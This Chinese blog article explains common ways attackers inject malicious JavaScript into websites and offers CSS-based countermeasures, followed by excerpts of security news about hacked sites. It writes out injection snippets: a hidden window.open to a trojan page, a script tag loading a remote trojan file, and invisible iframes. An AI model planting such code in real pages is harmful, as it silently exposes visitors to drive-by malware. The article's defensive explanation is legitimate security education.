常见JS挂马方法及如何防止网站被黑客挂马?

一、常见JS挂马方法

现在最多见的JS挂马方法有两种,一种是直接将JavaScript脚本代码写在网页中,当访问者在浏览网页时,恶意的挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。

这种方法使用的关键代码如下:

window.open("http://www.mahaixiang.cn/木马.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");

这种代码往往很长,很容易被安全工程师发现,而且没有经验的黑客也喜欢将“width”和“height”参数设为“0”,但是设置为0后,可能会出现恶意代码不运行的情况。

另外一种JS挂马方式是,黑客先将挂马脚本代码“document.write('<Iframe src="网页木马地址" ></iframe>')”,写入Windows中的写字板另存为后缀为.js的脚本文件,并上传到自己指定的网址。这时黑客只需要在受害者 的网站中写入:

<script src="http://www.mahaixiang.cn/木马脚本.js"></script>

或者

document.write("<div style='display:none'>")
document.write("<iframe src="网页木马地址" width="0" height="0" scrolling="no" frameborder="0"></iframe>")
document.write("</div>")

就成功地将木马挂到了对方的网页中了。

马海祥博客提示:黑客还可以根据情况随机变换插入的JS挂马方法,例如黑客有可能会将脚本写为:

<div >

或者:

<iframe src="vbscript:[挂马脚本]">

二、如何防止网站被黑客挂马?

防第一种JS挂马方式,不方便,用得非常少,而第二种JS挂马方式才是当前主流的,所以我们主要针对它进行防御。方法就是阻止Src请求的异地外域的JS脚本,代码如下:

iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}
script{mzm2:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}

不过这种方法的缺点就是网站的访问者将不能看到被挂了JS木马的相关网页。

所以我们为安全工程师提供了一段可以中止JS脚本运行的CSS代码,这段代码会让异地外域的JS文件在使用document.write()时,被 document.close()强制关闭。这个时侯JS挂马的内容往往还没有来得及写完,只有部分被强制输出了,Writer后面的内容再不会被写入访 问者的电脑中,从而起到防范JS脚本挂马的作用。

让JS木马的进程迅速中止

在 <head> </head> 之间加入如下代码:

屏蔽script和iframe

<style type="text/css" id="LinrStudio">
/*<![CDATA[*/
iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}
script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');
/*]]>*/
</style>

单屏蔽script

<style type="text/css" id="LinrStudio">
/*<![CDATA[*/
/*iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}*/
script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}
/*]]>*/
</style>

如果有朋友发现自己的网站有被挂马的现象,不妨用这种方法试下。由此可见,平时检查代码是维护网站的重要部分,而代码的简洁性又是至关重要的。对于如何优化网站代码,有兴趣的朋友可以试下:
CSS在线压缩软件 
CSS代码在线编辑器 

本文为马海祥博客原创文章,原文网址摘自于http://www.mahaixiang.cn/js/134.html

时间: 2024-08-02 06:32:37

常见JS挂马方法及如何防止网站被黑客挂马?的相关文章

热门视频网站成为黑客挂马攻击对象

中介交易 http://www.aliyun.com/zixun/aggregation/6858.html">SEO诊断 淘宝客 云主机 技术大厅 据瑞星"云安全"系统统计,上周瑞星共截获了135万个挂马网址,主要是一些1158.html">在线视频.娱乐八卦和女性网站.近期,随着<变形金刚2>的热映与迈克尔·杰克逊病逝等事件成为广大网民关注的热点,大量网民访问视频网站收看预告片或追忆明星生前的经典影音,所以这些视频网站成为黑客挂马攻击对象

热门视频网站成黑客挂马攻击对象

据瑞星"云安全"系统统计,上周瑞星共截获了135万个挂马网址,主要是一些在线视频.娱乐八卦和女性网站.近期,随着<变形金刚2>的热映与迈克尔·杰克逊病逝等事件成为广大网民关注的热点,大量网民访问视频网站收看预告片或追忆明星生前的经典影音,所以这些视频网站成为黑客挂马攻击对象. 在这些挂马网站中截获的一个病毒值得注意,它是Trojan.Win32.FakeAV.ri(杀软伪造者木马),该病毒会修改系统文件,伪造成一个国外杀毒软件,欺骗用户电脑中有病毒,清除则需付费,使得部分用

NBA明星个人网站被黑客挂马

本报讯 (记者 段郴群) 记者昨日获悉,据瑞星"云安全"系统监测, 6月29日,篮球网旗下的"科比中文网"."韦德中文网"."姚明中文网"等NBA著名球员的个人网站被黑客挂马.球迷访问这些网站后,会立即感染木马病毒Trojan.Win32.Generic.11E996E5(AV终结者木马),导致电脑异常,信息被盗. 瑞星安全专家提醒说,"云安全"系统在6月29日拦截了112万次挂马网站对用户的攻击.截至发稿

大型知名网站频遭黑客挂马

本周瑞星共截获166万个挂马网址.挂马网站针对的都是一些大型的知名网站,中华英才网.中国书画苑.四川新闻网的部分页面被黑客挂马. 近期关注病毒:MS08-067漏洞病毒变种MD(Hack.Exploit.Win32.MS08-067.md),警惕程度★★★.病毒会关闭多个国外主流杀毒软件,通过系统默认共享感染局域网中的电脑.病毒还会定期下载大量木马. 防范方法:升级瑞星全功能安全软件2009:安装卡卡上网安全助手自动修复漏洞:拨打反病毒急救电话82678800或登录http://help.ris

瑞星警告称奇虎网等网站被黑客挂马

中介交易 http://www.aliyun.com/zixun/aggregation/6858.html">SEO诊断 淘宝客 云主机 技术大厅 7月9日消息,据安全软件厂商瑞星报告,奇虎.北斗论坛.广捷居等网站有页面昨日遭到黑客挂马,黑客利用的正在疯狂利用微软最新的视频漏洞. 瑞星称,"奇虎"被挂马页面地址为w.qihoo.com/frame/q2431011,7f9145,2367_15523.html,该页面引用了一个网民的博客,黑客正是利用目前最新的微软视频

游迅网、技嘉科技等知名网站遭黑客挂马

来自360安全卫士官方微博的消息称,本周末网站挂马攻击猖獗,技嘉科技中文官网.游迅网等多个知名网站被黑客入侵挂马.其中,游迅网已经连续两个周末出现大面积挂马情况,攻击页面还会篡改用户浏览器主页为www.2345.com/?kiss54321,赚取主页推广费.图:游迅网一周内第二次被挂马网站挂马是指网站页面中植入了恶意代码.一旦有 网友浏览页面,恶意代码会攻击电脑系统和软件的漏洞,使网友电脑自动下载运行黑客埋伏好的木马程序.据了解,技嘉科技中文官网和游迅网都是被黑客在整个网站挂马,存在恶意代码的网

国内知名网站频遭黑客挂马

■病毒播报 本周共截获154万个挂马网址.本周挂马网站主要是一些国内知名高校.房产和家居类网站,如"中国石油大学"."北京外国语大学亚非学院"等.这些网站有的连续多天被挂马,用户访问时要小 心感染蠕虫下载器和木马病毒,及时更新系统补丁或进行手工修复.特别要小心的是在这些挂马网站上截获的"QQ通行证木马变种EIW",该病毒运行后会将自身复制到系统目录,调用CMD命令 自我删除,自行添加注册表项,以达到开机自动启动的目的,最后通过查找窗口.键盘鼠标记

美国网站遭黑客挂假新闻说唱大师“死而复活”

美国公共广播社5月30日上午在其官方微博发表声明说,公共广播社网站遭黑客袭击,网站上有关说唱大师图帕克·沙库尔死而复活的消息纯属假新闻. 声明说,黑客5月29日非法登录公共广播社网站,在其"新闻时刻"栏目下刊登一则假新闻. 假新闻说,沙库尔其实并非如媒体宣称的那样在1996年遭枪杀身亡,他眼下生活在新西兰一处秘密地点. 沙库尔是美国黑人说唱乐的代表人物,在说唱音乐界享有极高地位和影响力.这则假消息一经上传便迅速传播,无数乐迷和媒体记者询问公共广播社消息来源及可靠程度. (综合新华社专电

批量处理网站文件挂马方法与程序

批量处理网站文件挂马方法与程序 很多网站因为种路原因被挂上了木马,我们来讲讲几种比较快的去除网页木马的方法吧, 第一种:用dw直接连接到服务器上查找-替换就OK了. 第二种:在线替换就是把下面的代码保存成一个asp文件,执行就OK了. <% Server.ScriptTimeout="600" call getfile(server.mappath(".\"))                   sub   getfile(c_path)